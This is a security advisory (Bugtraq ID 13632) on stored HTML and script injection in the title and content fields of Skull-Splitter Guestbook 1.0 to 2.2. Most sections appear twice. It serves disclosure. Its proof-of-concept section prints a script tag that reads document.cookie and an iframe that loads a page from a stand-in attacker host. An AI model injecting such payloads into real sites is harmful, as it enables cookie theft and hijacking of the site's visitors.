Skull-Splitter Guestbook Multiple HTML Injection Vulnerabilities
BID:13632
Info
Skull-Splitter Guestbook Multiple HTML Injection Vulnerabilities
| Bugtraq ID: | 13632 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 14 2005 12:00AM |
| Updated: | May 14 2005 12:00AM |
| Credit: | Discovered by Morinex Eneco <[email protected]>. |
| Vulnerable: |
Skull-Splitter Guestbook 2.2 Skull-Splitter Guestbook 2.0 Skull-Splitter Guestbook 1.0 |
| Not Vulnerable: | |
Discussion
Skull-Splitter Guestbook Multiple HTML Injection Vulnerabilities
Skull-Splitter Guestbook is prone to multiple HTML injection vulnerabilities. It is possible to inject HTML and script code into the title and content of posted messages.
The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user, other attacks are also possible. A victim user who views the vulnerable sections of the site would have the attacker-supplied HTML and script code execute in the security context of the affected site.
Skull-Splitter Guestbook versions 1.0, 2.0, and 2.2 have been reported to be vulnerable, however, other versions may be affected as well.
Skull-Splitter Guestbook is prone to multiple HTML injection vulnerabilities. It is possible to inject HTML and script code into the title and content of posted messages.
The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user, other attacks are also possible. A victim user who views the vulnerable sections of the site would have the attacker-supplied HTML and script code execute in the security context of the affected site.
Skull-Splitter Guestbook versions 1.0, 2.0, and 2.2 have been reported to be vulnerable, however, other versions may be affected as well.
Exploit / POC
Skull-Splitter Guestbook Multiple HTML Injection Vulnerabilities
An exploit is not required. The following examples were provided:
1. Type in the title or content of msg
<script>alert(document.cookie)</script>
Type in the title or content of msg
2. <iframe src=http://evilhost/evil.php>
An exploit is not required. The following examples were provided:
1. Type in the title or content of msg
<script>alert(document.cookie)</script>
Type in the title or content of msg
2. <iframe src=http://evilhost/evil.php>
Solution / Fix
Skull-Splitter Guestbook Multiple HTML Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Skull-Splitter Guestbook Multiple HTML Injection Vulnerabilities
References:
References:
- PHP Scripts - Guestbook (Skull-Splitter)
- Skull-Splitter's Guestbook Multiple XXS/HTML injection (Morinex Eneco